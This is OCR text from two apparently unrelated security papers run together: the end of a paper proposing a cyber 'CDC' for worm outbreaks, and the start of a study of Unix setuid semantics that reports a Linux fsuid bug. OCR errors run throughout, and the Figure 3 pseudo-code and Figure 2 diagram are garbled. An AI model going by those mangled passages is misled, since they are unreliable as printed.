pervasive backbone deployment. Both approaches carry 
with them major research challenges in terms of co- 
ordination, authentication, and resilience im the pres- 
ence of targeted attack. As with sensors, the policy 1s- 
sues regarding the actual deployment of such agents are 
daunting—who controls the agents, who is required to 
host them, who is liable for collateral damage the agents 
induce, who maintains the agents and ensures their se- 
curity and integrity? 


7.4 Anticipating new vectors 


We would want the CDC to not only be reactive, but also 
proactive: to identify incipient threats. 
' Such techniques should also be applied to the numerous strains of 


zombies present on the Internet, as they too are a significant resource 
for an attacker. 
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CDC Task: track the use of different applications in the 
Internet, to detect when previously unknown ones begin 
to appear in widespread use. Unfortunately, Internet ap- 
plications sometimes can “‘explode’”’ onto the scene, very 
rapidly growing from no use to comprising major traffic 
contributors [Pa94]. Accordingly, tracking their onset 
is not a simple matter, but will require diligent analysis 
of network traffic statistics from a variety of sources, as 
well as monitoring fora in which various new applica- 
tions are discussed (since some of them may have traffic 
patterns that are difficult to discern using conventional 
traffic monitoring variables such as TCP/UDP port num- 
bers). 


CDC Task: analyze the threat potential of new appli- 
cations. How widely spread might their use become? 
How homogeneous are the clients and servers? What are 
likely exploit strategies for subverting the implementa- 
tions? What are the application’s native communication 
patterns? 


7.5 Proactively devising detectors 


Once a new potential disease vector has been identified, 
we would then want to deploy analyzers that understand 
how the protocol functions, to have some hope of detect- 
ing contagion worms as they propagate. 


For example, to our knowledge there is no KaZaA mod- 
ule (one specific to how KaZaA functions) available for 
network intrusion detection systems in use today. With- 
out such a module, it would be exceedingly difficult to 
detect when KaZaA is being exploited to propagate a 
contagion worm. 


CDC Task: foster the development of application anal- 
ysis modules suitable for integration with the intru- 
sion detection systems in use by the CDC’s outbreak- 
identification elements. 


7.6 Resisting future threats 


Devising the means to live with an Internet periodically 
ravaged by flash or contagion worms 1s at best an uneasy 
equilibrium. The longer-term requirement is to shift the 
makeup of Internet applications such that they become 
much less amenable to abuse. For example, this may 
entail broader notions of sandboxing, type safety, and 
inherent limitations on the rate of creating connections 
and the volume of traffic transmitted over them. 


CDC Task: foster research into resilient application 
design paradigms and infrastructure modifications that 
(somehow) remain viable for adaptation by the commer- 
cial software industry, perhaps assisted by legislation or 
government policy. 


CDC Task: vet applications as conforming to a certain 
standard of resilience to exploitation, particularly self- 
propagating forms of exploitation. 


7.7 How open? 


A final basic issue regarding the CDC is to what degree 
should it operate in an open fashion. For example, dur- 
ing an outbreak the CDC could maintain a web site for 
use by the research community. Such an approach would 
allow many different people to contribute to the analy- 
sis of the outbreak and of the pathogen, perhaps adding 
invaluable insight and empirical data. This sort of coor- 
dination happens informally today, in part; but it 1s also 
the case that currently a variety of anti-viral and secu- 
rity companies analyze outbreaks independently, essen- 
tially competing to come out with a complete analysis 
first. This makes for potentially very inefficient use of 
a scarce resource, namely the highly specialized skill of 
analyzing pathogens. 


A key question then is the cost of operating in an open 
fashion. First, doing so brings with it its own set of secu- 
rity issues, regarding authenticating purported informa- 
tion uploaded into the analysis database, and preventing 
an attacker from crippling the analysis effort by launch- 
ing a side-attack targeting the system. Second, the at- 
tacker could monitor the progress made in understand- 
ing the worm, and perhaps gain insight into how it has 
spread beyond what they could directly gather for them- 
selves, allowing them to better hone their attack. Third, 
some sources of potentially highly valuable empirical 
data might refuse to make their data available if doing 
so is to release it to the public at large. 


Given these concerns, it seems likely that the CDC 
would pursue a “partially open’ approach, in which 
subsets of information are made publicly available, 
and publicly-attained information is integrated into the 
CDC’s internal analysis, but the information flow is scru- 
tinized in both directions. Unfortunately, such scrutiny 
would surely involve manual assessment, and could 
greatly slow the collection of vital information. 


A related question is how international in scope such a 
facility should be. A national facility is likely to have 
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a simpler mission and clearer management and account- 
ability. However, there are real benefits to an interna- 
tional approach to this problem; one’s allies are awake 
and working while one sleeps. A worm released in the 
middle of the night in the US would be far more likely 
to receive intense early research and attention in Europe 
or Asia than in the US itself. Thus, at a minimum, na- 
tional level CDCs are likely to need to maintain strong 
linkages with one another. 


8 Conclusion 


In this paper we have examined the spread of several re- 
cent worms that infected hundreds of thousands of hosts 
within hours. We showed that some of these worms re- 
main endemic on the Internet. We explained that better- 
engineered worms could spread in minutes or even tens 
of seconds rather than hours, and could be controlled, 
modified, and maintained indefinitely, posing an ongo- 
ing threat of use in attack on a variety of sites and infras- 
tructures. Thus, worms represent an extremely serious 
threat to the safety of the Internet. We finished with a 
discussion of the urgent need for stronger societal in- 
stitutions and technical measures to control worms, and 
sketched what these might look like. 
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Abstract 


Access control in Unix systems ts mainly based on user 
IDs, yetthe system calls that modify user IDs (wid-setting 
system calls), such as setuid, are poorly designed, in- 
sufficiently documented, and widely misunderstood and 
misused. This has caused many security vulnerabilities 
in application programs. We propose to make progress 
on the setuid mystery through two approaches. First, 
we study kernel sources and compare the semantics of 
the uid-setting system calls in three major Unix systems: 
Linux, Solaris, and FreeBSD. Second, we develop a for- 
mal model of user IDs as a Finite State Automaton (FSA) 
and develop new techniques for automatic construction 
of such models. We use the resulting FSA to uncover 
pitfalls in the Unix API of the uid-setting system calls, to 
identify differences in the semantics of these calls among 
various Untx systems, to detect inconsistency in the han- 
dling of user [Ds within an OS kernel, and to check the 
proper usage of these calls in programs automatically. 
Finally, we provide general guidelines on the proper us- 
age of the uid-setting system calls, and we propose a 
high-level API that is more comprehensible, usable, and 
poitable than the usual Unix API. 


1 Introduction 


Access control in Unix systems is mainly based on the 
user [Ds associated with a process. In this model, each 
process has a set of user IDs and group IDs which deter- 
mine which system resources, such as files and network 
ports, the process can access!. Certain privileged user 
IDs and groups | Ds allow a process to access restricted 
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system resources. In particular, user [D zero, reserved for 
the superuser root, allows a process to access all system 
resources. 


In some applications, a user process needs extra privi- 
leges, such as permission to read the password file. By 
the principle of least privilege, the process should drop 
its privileges as soon as possible to minimize risk to the 
system should it be compromised and execute malicious 
code. Unix systems offer a set of system calls, called the 
uid-setting system calls, for a process to raise and drop 
privileges. Such a process 1s called a sefuid process. Un- 
fortunately, for historical reasons, the uid-setting system 
calls are poorly designed, insufficiently documented, and 
widely misunderstood. “Many years after the inception 
of setuid programs, how to write them ts still not well un- 
derstood by the majority of people who write them” [1]. 
In short, the Unix setuid model 1s mysterious, and the 
resulting confusion has caused many security vulnerabil- 
ities. 


We approach the setuid mystery as follows. First, we 
study the semantics of the uid-setting system calls by 
reading kernel sources. We compare and contrast the se- 
mantics among different Unix systems, which is useful 
for authors of setuid programs. In doing so, we found 
that manual inspection is tedious and error-prone. This 
motivates our second contribution: we construct a for- 
mal model to capture the behavior of the operating sys- 
tem and use it to guide our analysis. We will describe a 
new technique for building this formal model in an au- 
tomated way. We have used the resulting formal model 
to more accurately understand the semantics of the uid- 
setting system calls, to uncover pitfalls in the Unix API 
of these calls, to identify differences in the semantics of 
these calls among various Unix systems, to detect incon- 
sistency in the handling of user IDs within an OS kernel, 
and to check for the proper usage of user IDs tn programs 
automatically. 


Formal methods have gained a reputation as being 1m- 
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practical to apply to large software systems, so it may 
be surprising that we found formal methods so useful in 
our effort. We will show how our formal model enables 
many tasks that would otherwise be too error-prone or 
laborious to undertake. Our success comes from using 
lightweight techniques to answer a well-defined question 
about the system; we are not attempting to prove that a 
kernel is correct! Abstraction plays a major role in sim- 
plifying the system so that simple analysis techniques are 
sufficient. 


This paper is organized as the follows. Section 2 dis- 
cusses related work. Scction 3 provides background on 
the user ID model. Section 4 reviews the evolution of 
the uid-setting system calls. Section 5 comparcs and 
contrasts the semantics of the uid-setting system calls in 
three major Unix systems. Section 6 describes the formal 
user ID model and its applications. Section 7 analyzes 
two security vulnerabilities caused by misuse of the uid- 
setting system calls. Section 8 provides guidelines on the 
proper usage of the uid-setting system calls and proposes 
a high-level API to the user ID model. 


2 Related Work 


Manual pages in Unix systems are the primary source 
of information on the user ID model for most program- 
mers. Sec, for example, sefuid(2) and setgid(2). But 
unfortunately, they are often incomplete or even wrong 
(Section 6.4.1). Many books on Unix programming also 
describe the user ID model, such as Stevens’ [2], but of- 
ten they are specific to one Unix system or release, are 
outdated, or lack important details. 


Bishop discussed security vulnerabilities in setuid pro- 
grams [3]. His focus is on potential vulnerabilities that 
a process may be susceptible to once it gains privilege, 
while our focus 1s on how to gain and drop privilege con- 
fidently and securely. Unix systems have evolved and 
diversified a great deal since Bishop’s work in 1987, and 
a big problem today is how to port setuid programs se- 
curely to various Unix systems. 


3. User ID Model 


This section provides background on the user ID model. 
Each user in a Unix system has a unique user ID. The 
user ID determines which system resources the user can 
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acccss. In particular, user ID zero ts reserved for the su- 
peruser oot who can access all resources. 


Each process has three user !Ds: the real user /D (real 
uid, or ruid), the effective user ID (effective uid, or euid), 
and the saved user ID (saved uid, or suid). The real uid 
identifies the owner of the process, the effective uid ts 
used in most access control decisions, and the saved uid 
stores a previous user ID so that it can be restored later. 
Similarly, a process has three group IDs: the real group 
[D, the effective group 1D, and the saved group 1D. In 
most cases, the properties of the group IDs parallel the 
properties of their user ID counterparts. For simplicity, 
we will focus on the user IDs and will mention the group 
IDs only when there 1s the potential for confusion or pit- 
falls. In Linux, each process has also an fswid and an 


fsgid which are used for access control to the filesystem. 


The fsuid usually follows the value in the effiective uid 
unless explicitly set by the seffsuid system call. Simi- 
larly, the fsgid usually follows the value in the effiective 
gid unless explicitly set by the set/sgid system call. Since 
the suid and fsgid are Linux specific, we will not discuss 
them except when we point out an inconsistency in the 
handling of them in the Linux kernel. 


When a process is created by fork, it inherits the three 
user IDs from its parent process. When a process exe- 
cutes a new file by exec..., it keeps its three user IDs 
unless the set-user-[D bit of the new file ts set, in which 
case the effective uid and saved uid are assigned the user 
ID of the owner of the new file. 


Since access control is based on the effective user ID, a 
process gains privilege by assigning a privileged user ID 
toits effective uid, and drops privilege by removing the 
privileged user ID from its effective uid. Privilege may 
be dropped either temporarily or permanently. 


e To drop privilege temporarily, a process removes 
the privileged user ID from its effective uid but 
stores it in its saved uid. Later, the process may 
restore privilege by restoring the privileged user ID 
in its effective uid. 


e To drop privilege permanently, a process removes 
the privileged user ID from all three user IDs. 
Thereafter, the process can never restore privilege. 
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4 History 


Bell Laboratories filed a patent application on Den- 
nis Ritchie’s invention of a bit to specify that a pro- 
gram should execute with the permissions of its owner, 
rather than invoker, in 1973. The patent was granted in 
1979 [4]. Thus, setuid programs and related system calls 
have existed through most of Unix history. 


4.1. Early Unix 


In early Unix systems, a process had two user IDs: the 
real uid and the effective uid. Only one system call, se- 
tuid, modified them according to the following rule: if 
the effective uid was zero, setuid set both the real uid 
and effective uid; otherwise, setuid could only set the 
effective uid to the real uid [1]. This model had the prob- 
lem that a process could not temporarily drop the root 
privilege in its effective uid and restore it later. As Unix 
diverged into System V and BSD, each system solved the 
problem in a different way. 


4.2 System V 


System V added a new user ID called the saved uid to 
each process. Also added was a new system call, sefeuid, 
whose rules were: 


e [f the effective uid was zero, seteuid could set the 
effective uid to any user ID. 


e Otherwise, seteuid could set the effective uid to only 
the real uid or saved uid. 


seteuid did not change the real uid or saved uid. Further- 
more, System V modified setuid so that if the effective 
uid was not zero, setuid functioned as seteuid (changing 
only the effective uid); otherwise, setuid set all three user 
IDs. 


4.3 BSD 


4.2 BSD kept the real uid and effiective uid but changed 
the system call from setuid to setreuid. Processes could 
then directly control both their user |Ds, under the fol- 
lowing rules: 


e If the effective uid was zero, then the real uid and 
effective uid could be set to any user ID. 


e Otherwise, either the real uid or the effective uid 
could be set to value of the other one. 


Therefore, the setreuid system call enabled a process to 
swap the real uid and effective uid. 


The POSIX standard [5] codified a new specification for 
the setuid call. In an attempt to be POSIX compliant, 
4.4 BSD replaced 4.2 BSD’s old setreuid model with 
the POSIX/System V style saved uid model. It modified 
setuid so that setuid set all three user IDs regardless of 
whether the effective uid of a process was zero, therefore 
allowing any process to pennanently drop privileges. 


44 Modern Unix 


As System V and BSD influenced each other, both sys- 
tems implemented setuid, seteuid, and setreuid, although 
with different semantics. None of these system calls, 
however, allowed the direct manipulation of the saved 
uid (although it could be modified indirectly through se- 
tuid and setreuid). Therefore, some modern Unix sys- 
tems introduced a new call, setresuid, to allow the modi- 
fication of each of the three user IDs directly. 


5 Complexity of Uid-setting System Calls 


A process modifies its user IDs by the uid-setting sys- 
tem calls: setuid, seteuid, setreuid, and in some systems, 
setresuid. Each of the system calls involves two steps. 
First, it checks tf the process has permission to invoke 
the system call. If so, it then modifies the user IDs of the 
process according to certain rules. 


In this section, we compare and contrast the semantics 
of the uid-setting system calls among Linux 2.4.18 [6], 
Solaris 8 [7], and FreeBSD 4.4 [8]. The behavior of the 
uld-setting system calls was discovered by a combina- 
tion of manual inspection of kernel source code and for- 
mal methods. We will defer discussion of the latter until 
Section 6. 


The POSIX Specification To understand the seman- 
tics of the uid-setting system calls, we begin with the 
POSIX standard, which has tnfluenced the design of the 
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system calls in many systems. In particular, the behavior 
of setuid(newuid) is defined by the POSIX specification. 
See Figure | for the relevant text. 


The POSIX standard refers repeatedly to the term ap- 
propriate privileges, which is defined in Section 2.3 of 
POSIX 1003. 1-1988 as: 


An implementation-defined means of associ- 
ating privileges with a process with regard to 
the function calls and function call options de- 
fined in this standard that need special privi- 
leges. There may be zero or more such means. 


Essentially, the term appropriate privilege serves as a 
wildcard that allows compliant operating systems to 
use any policy whatsoever for deeming when a call 
to setuid should be allowed. The conditional flag 
{_POSIX_SAVED_IDS} parametrizes the specification, 
allowing POSIX-compatible operating systems to use el- 
ther of two schemes (as described in Figure 1). We will 
see how different interpretations of the term appropriate 
privilege have led to considerable differences in the be- 
havior of the utd-setting system calls between operating 
systems. 


5.1 Operating System-Specific Differences 


Much of the confusion is caused by different interpreta- 
tions of appropriate privileges among Unix systems. 


Solaris In Solaris 8, a System V based system, a 
process is considered to have appropriate privileges 
if its effective uid 1s zero (root). Also, Solaris de- 
fines {_POSIX_SAVED_IDS}. Consequently, calling se- 
tuid(newuid) sets all three user IDs to newuid if the ef- 
fective uld is zero, but otherwise sets only the effective 
uid to newuid (if the setuid callis permitted). 


FreeBSD FreeBSD 4.4 interprets appropriate privi- 
leges differently, asnoted in Appendix B4.2.2 of POSIX: 


The behavior of 4.2BSD and 4.3BSD that al- 
lows setting the real 1D to the effective ID ts 
viewed as a value-dependent special case of 
appropriate privilege. 


This means that a process ts deemed to have ap- 
propriate privileges when it calls setuitd(newuid) with 
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If {.POSIX_SAVED_IDS } is defined: 


1. If the process has appropriate privileges, the se- 
tuid() function sets the real user ID, effective user 
ID, and the [saved user ID] to newuid. 


. If the process does not have appropriate privi- 
leges, but newuid is equal to the real user ID or 
the [saved user ID], the setuid() function sets the 
effective user ID to newuid; the real user ID and 
[saved user ID] remain unchanged by this func- 
tion call. 


Otherwise: 


1. If the process has appropriate privileges, the se- 
tuid() function sets the real user ID and effective 
user ID to newuid. 


. If the process does not have appropriate privi- 
leges, but newuid is equal to the real user ID, 
the setuid() function sets the effective user ID to 
newuid; the real user ID remains unchanged by 
this function call. 


(POSIX 1003.1-1988, Section 4.2.2.2) 





Figure |: An excerpt from the POSIX specification [5] 
covering the behavior of the setuid system call. 


newuld=geteuid(), in addition to when its effective uid ts 
zero. Also in contrast to Solaris, FreeBSD does not de- 
fine {.POSTX_SAVED_IDS}, although every FreeBSD 
process does have a saved uid. Therefore, by calling se- 
tuid(newuid), a process sets both its real uid and effective 
uld to newuid if the system call is permitted, in agree- 
ment with POSIX. FreeBSD also sets the saved uid in all 
permitted sefuid calls. 


Linux Linux introduces a capability? model for finer- 
grained control of privileges. Instead of a single level 
of privilege detennined by the effective uid (i.e., root or 
non-root), there are a number of capability bits each of 


which is used to determine access control to certain re- 


sources’. One of them, the SETUID capability, carries 


the POSIX appropriate privileges. To make the new ca- 


“Beware: the word “capability” is a bit of a misnomer. In this con- 
text, it refers to special privileges that a process can possess, and not 
to the usual meaning in the security literature of an unforgeable refer- 
ence. Regrettably, the former usage comes from the POSIX standard 
and secins to be in common use, and so we follow their convention in 
this paper. 

3More accuratcly, a Linux process has three sets of capabilities, but 
only the set of effective capabilities determinc access control. All ref- 
erences to capahifities in this paper refer to the effective capabilities. 
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pability model compatible with the traditional user 1D 
model where appropriate privileges are carried by a zero 
effective uid, the Linux SETU/B capability tracks the ef- 
fective uid during all uid-setting system calls: Whenever 
the effective uid becomes zero, the SETU/D capability 
is set; whenever the effective uid becomes non-zero, the 
SETUID capability 1s cleared. 


However, the SETU/D capability can be modified out- 
side the uld-setting system calls. A process can clear 
its SETUID capability, and a process with the SETP- 
CAP capability can remove the SETU/D capability of 
other processes (but notethat in Linux 2.4.18, no process 
has or can acquire the SETPCAP capability, a change 
that was made to close a security hole; see Section 7. | 
for details). Therefore, explicitly setting or clearing the 
SETUID capability changes the properties of uid-setting 
systems calls. 


5.2 Comparison among Uid-setting System 
Calls 


Next we compare and contrast the uid-setting system 
calls and point out several unexpected properties and an 
inconsistency in the handling of fsuid in the Linux ker- 
nel. 


setresuid() setresuid has the clearest semantics among 
the four uid-setting system calls. The permission check 
for setresuid() is intuitive and common to all OSs: for the 
setresuid() system call to be allowed, either the euid of 
the process must be root, or each of the three parameters 
must be equal to onc of the three user IDs of the process. 
As each of the real uid, effective uid, and saved uid is 
set directly by setresuid, the programmer knows clearly 
what to expect after the call. Moreover, the setresuid 
call is guaranteed to have an all-or-nothing effect: if it 
succeeds, all user 1Ds are changed, and if it fails, none 
are; it will not fail after having changed some but not all 
of the user IDs. 


Note that while FreeBSD and Linux offer setresuid, So- 
laris does not. However, Solaris does offer equivalent 
functionality via the /proc filesystem. Any process can 
examine tts three user |Ds, and a superuser process can 
set any of them, in line with the traditional System V 
notion of appropriate privilege. 


seteuid() sefeuid has also a clear semantics. It sets 
the effective uid while leaving the real uid and saved 


uld unchanged. However, when the current effective uid 
is not zero, there 1s a slight difference in the permis- 
sion required by seteuwid among Unix systems. While 
Solaris and Linux allow the parameter neweuld to be 
equal to any of the three user !Ds, FreeBSD only allows 
neweuld to be equal to either the real uid or saved uid; 
in FreeBSD, the effective uid is not used in the decision. 
As a Surprising result, sefeuid(geteuid()), which a pro- 
grammer inight intuitively expect to be always permitted, 
can fail in FreeBSD, e.g., when ruid=100, euid=200, and 
suid=100. 


setreuid() The semantics of sefreuid is confusing. It 
modifies the real uid and effective uid, and in some 
cases, the saved uid. The rule by which the saved uid 
is modified ts complicated. Furthermore, the permis- 
sion required for setreuid differs among the three op- 
erating systems. In Solaris and Linux, a process can 
always swap the real uid and effective uid by calling 
setreuid(geteuid(), getuid()). In FreeBSD, however, se- 
treuid(geteuid(), getuid()) sometimes fails, e.g., when 
ruid=100, ewid=200, and suid=100. 


setuid() Although setuid is the only uid-setting sys- 
tem call standardized in POSIX 1003.1-1988, it is also 
the most confusing one. First, the required permission 
differs among Unix systems. Both Linux and Solaris 
require the parameter newuid to be cqual to either the 
real uid or saved uid if the effective uid 1s not zero. As 
a surprising result, setuid(geteuid()), which a prograin- 
mer might reasonably expect to be always permitted, can 
fail in some cases, e.g., when ruid=100, euwid=200, and 
suicl=100. On the other hand, setuwid(geteuid()) always 
succeeds in FreeBSD. Second, the action of setuid dif- 
fers not only among different operating systems but also 
between privileged and unprivileged processes. In So- 
laris and Linux, if the effective uid 1s zero, a successful 
setuid(newuid) call sets all three user IDs to newuid; oth- 
erwisc, it sets only the effective user ID to newuid. On 
the other hand, in FreeBSD a successful setuid(newuid) 
call sets all three user IDs to newuid regardless of the 
effective uid. 


setfsuid() In Linux, each process has also an fsuid in 
addition to its real uid, effective uid, and saved uid. The 


fsuid 1s used for access control to the filesystem. It nor- 


mally follows the effective uid unless when explicitly set 
by the setfsuid system call. The Linux kernel tries to 
maintain the invariant that the /suid is zero only if at least 
one of the real uid, effective uid, or saved uid ts zero, as 
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Ttuid=euid=suid=0 
fSuid=0 


setresuid(x,x,-1) 


ruid=euid=fsuid=x 4 
suid=0 


setfsuid (0) 





ruid=euid=x 
suid=fsuid=0 


setresuid(-1,-1,x) 






ruid=euid=suid=x 
fSuid=0 


Figure 2: The call sequence shows that the invariant that 
the fsuid ts zero only if at least one of the ruid, euid, or 
suid is zero is violated in Linux. In the figure, x repre- 
sents a non-zero user ID. 


manifested in the comment in a source files. The ratio- 
nale is that once a process has dropped root privilege in 
each of its real uid, effective uid, and saved uid, the pro- 
cess cannot have any leftover root privilege in the fswicd. 
Since the fsuid is Linux specific, this invanant allows a 
cross-platform application that is not aware of the fsuid 
to securely drop all privileges. 


Unfortunately, we discovered that this invariant may be 
violated due to a bug in the kernel up to the latest version 
of Linux (2.4.18, as of this writing). The bug is that while 
every successful setuid and setreuid call sets the fsurd to 
the effective uid, a successful setresuid call will fail to 
do the same if the effective uid does not change during 
the call *+. This causes the call sequence in Figure 2 to 
violate the invariant. The bug has been confirmed by the 
Linux community. Section 6.4.3 will describe how we 
discovered this bug using a fonnal model. 


setgid() and relatives There are also a set of calls 
for manipulating group IDs, namely, sergid, setegid, se- 
tregid, and setresgid. They behave much like their se- 
tuid counterpart, with only one minor exception (the per- 
mission check in sefregid differs slightly from setreuid 
in Solaris). However, the appropriate privileges are al- 
ways carried by the euid in both setuid-like and setgid- 
like calls. Thus, an effective group ID of zero does not 
accord any special privileges to change groups. This Is 
a potential source of confusion: it is tempting to assume 
incorrectly that since appropriate privileges are carried 
by the euid in the setuid-like calls, they will be carried 


4 The seteuid(euid) call in Linux is implemented as setreuid(-/. 
euid) or setresuid(-/, euid, -/), depending on the version of the C li- 
brary. Hence, the seteuid system call might or might not set the /suid 
reliably, depending on the C library version. 
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by the egid in the setgid-like calls, but this is not how 
it actually works. This misconception caused a mistake 
in the manual page of setgid in Redhat Linux 7.2 (Sec- 
tion 6.4.1). 


In many Unix systems, a process has also a set of supple- 
mentary group IDs which are modified by the setgroups 
and initgroups calls. They are not closely related to the 
topic of this paper and will not be discussed. 


6 Formal Models 


We initially began developing the summary in the previ- 
ous section by manually reading operating system source 
code. Although reading kernel sources is a natural 
method to study the semantics of the uid-setting svs- 
tem calls, it has many serious limitations. First, it is 
a laborious task, especially when various Unix systems 
implement the system calls differently. Second, since 
our findings are based on current kernel sources, they 
may become invalid should the implementation change 
in the future. Third, we cannot prove that our findirigs 
are correct and that we have not misunderstood kernel 
sources. Finally, informal specifications are not well- 
Suited to programmatic use, such as automated verifi- 
cation of properties of the operating system or use in 
static analysis of application programs to check proper 
usage of the uid-setting system calls. These probiems 
with manual source code analysis motivate the need for 
more principled methods for building a formal model of 
the uid-setting system calls. 


6.1 Building a Formal Model 


Our model of the uid-setting system calls is based on fi- 
nite state automata. The operating system maintains per- 
process state (e.g., the real, effective, and saved uids) to 
track privilege levels, and thus it is natural to view the 
operating system as implementing a finite state automa- 
ton (FSA). A state of the FSA contains all relevant in- 
formation about the process, e.g., the three uids. Each 
uld-setting system call leads toa number of possible tran- 
sitions; we label each transition with the system call that 
it comes from. 


We construct the FSA in two steps: (1!) determine its 
states by reading kernel sources; (2) determine its tran- 
sitions by simulation. In the first step, we determine the 
states in the FSA by identifying kernel variables that af- 
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fect the behavior of the uid-setting system calls. For ex- 
ample, if only the real uid, effective uid, and saved uid 
can affect the uid-setting system calls, then each state of 
the FSA is of the form (7, ¢,s), representing the values 
of the real, effective, and saved user IDs, respectively. 


This is a natural approach. However, the problem one 
immediately faces is that the resulting FSA is much too 
large: in Linux, uids are 32-bit values, and so there are 
(2°2)3 = 2°" possible states. Obviously, manipulating 
an FSA of such size is infeasible. Therefore, we need 
to somehow abstract away inessential details and reduce 
the size of the FSA dramatically. 


Fortunately, we can note that there is a lot of symme- 
try present. If we have a non-root user ID, the behav- 
ior of the operating system is essentially independent 
of the actual value of this user ID, and depends only 
on the fact that it is non-zero. For example, the states 
(ruid,euid, suid) = (100,100, 100) and (200, 200, 200) 
are isomorphic up to a substitution of the value 100 by 
the value 200, since the OS will behave similarly in both 
cases (e.g., setuid(0) will fail in both cases). In general, 
we consider two states equivalent when each can be mu- 
tated into the other by a consistent substitution on non- 
root user IDs. By identifying equivalent states, we can 
shrink the size of the FSA dramatically. 


Now that we know that there must exist some reason- 
able FSA model, the next problem its how to compute 
it. Here we use simulation: if we simulate the presence 
of a pseudo-application that tries every possible system 
call and we observe the state transitions performed by 
the operating system in response to these system calls, 
we can infer how the operating system will behave when 
invoked by real applications. Once we identify equiva- 
lent states, the statespace will be small enough that we 
can exhaustively explore the entire statespace of the op- 
erating system. This idea is made concrete in Figure 3, 
where we give an algorithm to construct an FSA model 
using these techniques. 


Note that by using simulation to create a model of the 
uld-setting system calls, we assume that while a process 
is executing such a call, the user IDs of the process can- 
not be modified outside the call. In other words, there is 
no race on the user IDs between a uld-setting system call 
and other parts of the kernel. This requirement might not 
hold in multi-threaded programs if multiple threads share 
the same user IDs. We leave this topic for future work. 


Implementation Our implementation follows Figure 3 
closely. (Note that the simulator must run as root.) In 
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GETSTATE(): 
1. Callgetresuid(&r, &e, &s). 
2, Return (756.8): 


SETSTATE(?, €, 8): 
]. Call setresuid(7,e,s). 
2. Check for error. 


GETALLSTATES(): 

LPicks>) arbitrary Wids: tino tae 

Deh = aise eli. 

SECO t= ies eee Uy 

4. Let C := {setuid (az), setreuid(2.y), 
setresulid(x,y,2),-:: 

ae = ONS fe 
52 Retum (5. ). 


I3UILDMODEL/(): 
ly Let (S.C) <= GETALUSTATES(): 
2. Create an empty FSA with statespace S. 
3. For each s € S, do: 
4. Foreache € C, do: 
3 Fork a child process, and within the child, do: 
6. Call SETSTATE(s), and then invoke c. 
7 Finally, let s’ := GETSTATE(), 
pass s’ to the parent process, and exit. 
8. Add the transition s 5 s’ to the FSA. 
9, Return the newly-constructed FSA as the model. 


Figure 3: The model-extraction algorithm. 


practice, we extend this basic algorithm with several op- 
timizations and extensions. 


One simple optimization is to use a depth-first search to 
explore only the reachable states. In our case, the state- 
space 1s small enough that the improvement is probably 
untmportant, and we did not implement this optimiza- 
tion. A more dangerous optimization would be to em- 
ulate the behavior of the operating system from user- 
level by cuttin g-and-pasting the source code of the setuid 
system calls from the kemel into our simulation engine. 
This would speed up model construction, but the perfor- 
mance improvement comes at a severe price: it is hard 
to be sure that our emulation of the OS is completely 
faithful. In any case, our unoptimized implementation 
already takes only a few seconds to generate the model. 
For these reasons, we do not apply this optimization in 
our implementation. 


To ensure maximum confidence in the correctness of our 
results, we check in two different ways that the call to 
setresuid in line 1 of SETSTATE() succeeds. First, we 
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check the return value from the operating system. Sec- 
ond, we call getresuid and check that all three user IDs 
have been set as desired (see Section 8.1.3). 


On Solaris, there are no getresuid and setresuid system 
calls. However, we can simulate them using the /proc 
filesystem. We read the three user IDs of a process from 
its cred file, and we modify the user IDs by writing to 
its ctl file (see proc (4) for details). 


On Linux, we also model the SETU/D capability bit by 
adding a fourth dimension to the state tuple. Thus, states 
are of the form (r, ¢, 5, )) where the bit 0 is true when- 
ever the SETU/D capability is enabled. This allows us to 
accurately model the case where an application explic- 
itly clears or sets its SETU/D capability bit; though we 
are not aware of any real application that does this, if we 
ever do encounter such an application our model will still 
remain valid. 


On all operating systems, we extend our model further to 
deal with system calls that fail (i.e., when invoking call 
cin line 6 of BUILDMODEL()). It is sometimes useful 
to be able to reason about whether a system call has suc- 
ceeded or failed, and one way is to add a bit to the state 
denoting whcther the previous system call returned suc- 
cessfully or not. 


Also, on all operating systems we extend our model to 
include group IDs. This adds three additional dimensions 
to the state: real gid, effective gid, and saved gid’. In 
this way, we can model the semantics of the gid-setting 
system calls. On Linux, we also add a bit to indicate 
whether the SETG/D capability is enabled or not. 


6.2 Examples of Formal Models 


In this section, we show a series of formal models of 
the uid-setting system calls created using the algorithm 
in Figure 3. These models differ in their set of user ID 
values. In other words, they differ in the user ID val- 
ues picked in step 1 of GETALLSTATES() subroutine in 
Figure 3. 


We start with a simple model where the set of user ID 
values is {0, «} where 2: is anon-root user ID. Although 
simple, this model is accurate for many applications that 
manipulate at most one non-root user ID ata time. For 


3 We don’t currently model supplemental groups, though this would 
be straightforward to correct. Note that this omission does not affect 
the correctness of our model, as supplemental groups are only used In 
access control checks and never affect the behavior of the sefvid-like 
calls. 
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instance, a state like (100, 200, 100) will never appear in 
such an application. Each state in this simple FSA has 
three bits, each representing whether the real uid, effec- 
tive uid, or saved uid 1s root or not. All together there are 
eight states in the FSA. In Figure 4 we show graphically 
the models one obtains in this way for the setuid call on 
Linux, Solaris, and FreeBSD. Note that the models on 
Solaris and Linux are equivalent, but they differ from the 
model on FreeBSD. Figure 5 shows the models for the 
sefeuid, setreuid, and setresuid calls on Linux. 


A variation of the previous models is shown in Figure 6 
where the sct of user ID values is {:r, y} where x and y 
are distinct non-root user ID values. This model is ap- 
propriate for applications that switch between two non- 
root user 1Ds (rather than between the root and a non- 
root user ID). This model is appropriate for analyzing 
BSD games [9] run under the dungeon master. Foley’s 
work [10] offers a more serious use of this model. 


We can easily extend the simple models to include more 
user ID values, which are appropriate for applications 
that use more than two user ID values. Figure 7 shows a 
model where the set of user ID values is {0, x,y} where 
x and y are distinct non-root user ID values. This is the 
fully general model of Unix user IDs. 


6.3 Correctness 


Our model-extraction algorithm (Figure 3) is an instance 
of a more general schema for inferring finite-state mod- 
els, specialized by including application-dependent im- 
plementations of the GETSTATE(), SETSTATE(), and 
GETALLSTATES() subroutines. We argue that our al- 
gorithm is correct by arguing that the general version 1s 
correct. This section may be safely skipped on first read- 


ing. 


We frame our theoretical discussion in terms of equiva- 
Ience relations. Let S denote the set of concrete states 
(e.g., triples of 32-bit uids) and C the set of concrete sys- 
tem calls. Write s ~ ¢ if the operating system will al- 
ways transition from state s to ¢ upon invocation of c. 
We will need equivalence relations =s5 on S and =gs on 
S x C thatare respected by the operating system: in other 
words, if s ~ t and s =s s’, then there is some state ¢’ 
and some call c’ so that (s, c) =gs (s’,c’), t =g #’, and 


3’ ~» t!. The intuition is that calling ¢ from s is some- 


how isomorphic to calling c’ from s’. Also, we require 
that whenever (s,c) =gs (s’,c’) holds, then s =gs s’ 
